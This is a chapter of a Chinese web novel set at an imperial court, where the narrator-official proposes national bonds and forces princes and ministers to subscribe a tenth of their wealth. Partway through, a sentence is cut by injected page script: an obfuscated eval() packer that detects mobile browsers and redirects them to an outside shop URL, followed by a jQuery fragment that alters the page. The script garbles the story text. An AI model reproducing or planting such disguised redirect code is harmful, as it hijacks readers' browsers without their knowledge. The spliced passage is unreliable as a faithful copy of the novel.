111.大周第一笔国债

作品:《疯批权臣每天都想物理借根

    太极殿内,空气仿佛凝滞了。


    那句“皇亲国戚的账,是不是也该算一算了”,像是一颗石子投进深井,半晌没听见回响,只让人觉得井底深不可测。


    裕亲王缓缓睁开了眼。


    那双眸子有些浑浊,却像两把生了锈的钝刀,刮得人脸皮生疼。


    “沈侍郎。”


    声音不高,带着一股子久居上位的沉闷,像是从胸腔深处挤出来的。


    “本王岁数大了,耳朵不太好使。你刚才说什么?再说一遍。”


    我抬起眼,目光并未回避。


    “下官说,宗人府所辖的皇庄、亲王与郡王名下的封地田产,以及历年来的赏赐与禄米,账目繁杂,恐有疏漏。为了替陛下分忧,也为了彰显皇室与国同戚的表率,理应一并清查。”


    砰的一声闷响。


    裕亲王的手掌拍在身前的玉带上。


    “放肆!”


    他往前迈了一步,蟒袍上的金线在晨光下折出一道冷硬的光。


    “我大周以孝治天下!皇室宗亲乃国之根本,是陛下的骨肉至亲!你一个外臣,竟敢将算盘打到陛下的家人头上?”


    他盯着我,嘴角扯出一抹讥讽的弧度。


    “还是说,沈侍郎查了兵部,手里捏了几个铜板,便觉得这满朝文武,这大周天下,都可以任你拿捏了?”


    这顶帽子扣得既大且重。


    旁边的宰相李半眼角微微抽动了一下。他大概也觉得,裕亲王这话虽糙,理却在那儿。


    查臣子,那是公事。查皇叔,那是家事。


    外臣插手天家事,自古以来都没什么好下场。


    御座之上,萧策的手指在扶手上有一搭没一搭地敲着,节奏不明,也没急着开口。


    我看着裕亲王那张涨红的脸,忽然觉得有些好笑。


    “王爷说得极是。”


    殿内众人的神情似乎滞了一下。


    “皇室宗亲,自然是陛下的家人。”


    我点了点头,语气诚恳得像是在拉家常。


    “正因为是家人,才更应该在陛下有难处的时候挺身而出。若是躲在‘祖制’和‘体面’的牌坊后面,眼看着国库的窟窿越来越大,那这‘家人’二字,未免也太轻飘飘了些。”


    话音未落,我收敛了笑意。


    “况且,下官并非要查各位王爷的私德,也无意翻什么旧案。”


    “下官只是单纯觉得,国难当头,只有兵部尚书一人‘主动捐献’,未免显得其他人太过凉薄。”


    这话说得有些诛心。


    什么叫“显得”?分明就是指着鼻子骂这一屋子人冷血。


    “你……”裕亲王的胡须抖了抖,似乎想骂人,却一时找不到合适的词。


    我没再看他,转身对着御座上的萧策深深一揖。


    “陛下。”


    “臣有一策,既可解国库燃眉之急,又能全了皇亲国戚与文武百官的体面,不至于伤了和气。”


    萧策的眉毛挑了挑,身子微微前倾。


    “讲。”


    “臣请陛下,发行‘大周国债’。”


    国债?


    这两个字一出,满朝文武,包括宰相李半在内,脸上都露出了几分茫然。


    这词儿新鲜,以前没听过。


    我清了清嗓子,开始了我酝酿已久的推销。


    “所谓国债,便是以大周国库的信用为担保,向天下富庶之家借一笔钱,用于军国大事。”


    “这不是捐献,更不是摊派。”


    我的声音放缓,带着几分诱导。


    “凡认购国债者,皆可获得户部签发的正式债券凭证。此凭证,不仅记录了本金数额,更承诺了利息。”


    “还有利息?”


    不知是谁下意识地问了一句。


    “自然。”我答得笃定,“暂定年利一分。也就是说,今日认购一百两,一年之后,凭债券可来户部兑付一百一十两白银。”


    底下顿时响起一片窸窸窣窣的议论声。


    借钱给朝廷,还能有利息拿?


    听起来,似乎不是什么坏事。毕竟这年头,除了放印子钱的,正经生意也没这么稳妥的利。


    裕亲王皱着的眉头稍微松了一些。


    如果只是借钱,还能有利息,那倒是比直接被抄家、被查账要体面得多。


    唯独宰相李半,眼神愈发凝重。他盯着我,似乎想从我脸上看出什么陷阱来。


    “当然。”


    我笑了笑,抛出了真正的鱼钩。


    “国债的发行,事关国体,并非人人都有资格认购。”


    我环视了一圈,目光在那些最富有的王公大臣脸上一一扫过。


    “臣以为,当以京中三品以上大员及皇室宗亲为先。此乃为国分忧之无上荣耀,非有德有财者,不能担此重任。”


    “至于认购的数额嘛……”


    我顿了顿,从袖子里掏出一本早已备好的蓝皮册子。


    “户部同僚连夜辛劳,参考了《大周律》中关于家资核算的条目,根据各位大人名下的田产、商铺、府邸等,做了一个初步的估算。”


    “为表公允,每位大人的认购额度,便以其总家产的一成为准。”


    轰!


    殿内仿佛炸开了一颗惊雷。


    总家产的一成!


    而且,这个“总家产”还是由你户部来估算的?


    这哪里是借钱?这分明就是用一把看不见的刀子,精准地在每个人身上割下一块肉来!


    刚才还觉得这“国债”听着不错的官员,此刻脸色煞白,像是刚吞了一只死苍蝇。


    “荒唐!简直是荒唐至极!”


    吏部尚书钱都第一个跳了出来。他昨天刚被我羞辱,今天正是找回场子的时候,更何况这刀子眼看就要割到他身上。


    “官员家产乃是私密,岂能任由你户部随意估算?若你胡乱开价,指鹿为马,我等岂不是要倾家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322289|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    荡产!”


    “钱大人此言差矣。”


    我看着他,皮笑肉不笑。


    “若是哪位大人觉得户部估算有误,那太好了。大可将自己的家产明细一一列出,咱们当着满朝文武的面,一笔一笔地算清楚。户部若是算错了一文钱,我沈怨提头来见。”


    钱都的脸瞬间涨成了猪肝色,后面的话全堵在了喉咙里,发出几声浑浊的“咯咯”声。


    把家产明细列出来?


    那不是把自己的老底全掀了?哪一笔钱说得清来路?哪一处宅子经得起查?


    “况且,”我看向御座上的萧策,语气变得恳切,“陛下推行绩效新政,日后国库盈余,诸位大人的俸禄也会水涨船高。这国债的利息,自然也还得起。”


    “这不仅是为国分忧,更是为诸位大人自己日后的俸禄添砖加瓦。一举两得,何乐而不为?”


    我这是在告诉他们,船已经开出去了,你们不上也得上了。


    上了船,大家好好划,日后都有肉吃。


    想凿船?那就一起淹死。


    萧策的眼睛亮得吓人。


    他几乎在瞬间就明白了这“国债”的妙处。


    这比抄家体面多了!用一个“借”字,拿到了钱,还用“利息”把所有人都绑在了国库的战车上。


    从此以后,谁敢盼着国库空虚?谁敢在背后下绊子?


    那都是在跟自己的钱袋子过不去!


    “好!好一个大周国债!”


    萧策猛地一拍龙椅扶手,霍然起身。


    “沈爱卿此策,乃是谋国之言,利国利民!朕,准了!”


    他目光威严地扫过堂下,声音不容置疑。


    “此事,就由沈怨全权负责!户部协同,宗人府与三法司辅助。三日之内,朕要看到第一笔国债入库!”


    “陛下圣明!”


    我立刻躬身领命,然后直起身,翻开了手里那本名册。


    纸张翻动的声音,在寂静的大殿里显得格外刺耳。满朝文武的心,似乎都随着我翻动书页的动作提到了嗓子眼。


    我的手指,在名册的第一页停下。


    “既然要起表率作用……”


    我抬起头,目光精准地锁定了脸色铁青的裕亲王。


    “那这第一笔国债,便由宗人府宗正,裕亲王殿下,来开个好头吧。”


    我看着他,嘴角勾起一个弧度,声音清晰地传遍大殿的每一个角落。


    “根据户部核算,王爷您名下共有皇庄七处,京城内外府邸九座,通州商铺三十一间,另有前朝古玩玉器、字画珍宝无数……折合白银,共计约两百三十万两。”


    我合上册子,对着他微微一笑。


    “不多不少,一成。”


    “王爷,这二十三万两的国债,您是打算付现银……”


    我顿了顿,目光在他腰间那块价值连城的玉佩上扫过。


    “还是让户部的人去府上,帮您点点东西折价?”